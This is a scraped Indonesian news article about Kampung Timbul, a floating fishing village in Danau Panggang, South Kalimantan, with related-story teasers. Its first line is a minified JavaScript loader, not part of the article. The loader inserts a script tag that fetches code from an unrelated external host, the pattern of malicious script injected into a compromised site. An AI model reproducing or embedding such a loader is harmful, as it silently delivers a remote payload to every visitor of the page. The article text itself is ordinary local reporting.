(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Warga Kampung Timbul di Danau Panggang yang kesehariannya bekerja mencari ikan.
Al kisah, Danau Panggang seperti menjadi rumah bagi berbagai jenis ikan. Begitu melimpahnya, hingga mengundang banyak pencari ikan datang ke lokasi tersebut. Tak ayal, lokasi yang semula sepi pun kemudian menjadi ramai.
Warga pun akhirnya mulai membuat rumah lanting (rumah terapung) yang menjual berbagai kebutuhan pencari ikan. Mulai makanan, minuman, hingga perbekalan bagi mereka yang bermalam. Satu, dua, warung lanting pun muncul. Dan bertambah, dan bertambah…
Semakin banyak, warga yang berkerja sebagai pencari ikan juga akhirnya membuat lanting. Mereka tinggal hingga berbulan-bulan di rumah yang mengapung di tengah danau itu. Hingga sekitar tahun 1970, ada warga yang membangun rumah di tengah danau.
Rumah lanting yang dulu masih berpindah-pindah tempat, berangsur berganti dengan rumah panggung berubin tinggi. Salah satu generasi pertama yang membangun rumah di tengah danau adalah H Ideham.
“Karena berada di tengah danau dan awalnya adalah kumpulan rumah lanting, warga kemudian menyebutkan Kampung Timbul. Kampung yang mengapung di atas air di tengah Danau Panggang,†kata H Ideham saat ditemui kanalkalimantan.com beberapa waktu lalu.
Baca juga Danau Panggang, Riwayatmu Doeloe dan Kini (2)
Berada di tengah Danau Panggang tanpa adanya jalan yang dapat dilalui, membuat Kampung Timbul, anak Desa Teluk Masjid RT 4 dan Desa Baru RT 3, terisolasi dari daratan. Perahu bermesin diesel -warga biasanya menyebutnya mesin ces, menjadi satu-satunya sarana transportasi penghubung bagi warga yang hendak beraktifitas ke luar kampung.
“Kalau tidak punya perahu ya tidak bisa kemana-mana.†katanya.
Sebab, hampir semua aktifitas warga berlangsung di atas air. Mereka menggantungkan hidupnya sebagai pencari ikan, tapi ada juga yang beternak itik. Jika danau sedang surut saat musim kemarau, warga bekerja sebagai petani. Dasar Danau Panggang yang tak pernah kering itu juga dimanfaatkan untuk menanam padi. Setidaknya ada 150 kepala keluarga di Kampung Timbul.
Baca juga Danau Panggang, Riwayatmu Doeloe dan Sekarang (3-Habis)
Berada di tengah kepungan air, terutama saat musim penghujan, berdampak pada minimnya sarana umum lainnya, seperti sekolah. Madarasah Nurul Falah, satu-satunya tempat bagi anak-anak di Kampung Timbul menimba ilmu. Itu pun hanya sampai tingkat Ibtidaiyah atau setingkat sekolah dasar.
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
This website uses cookies.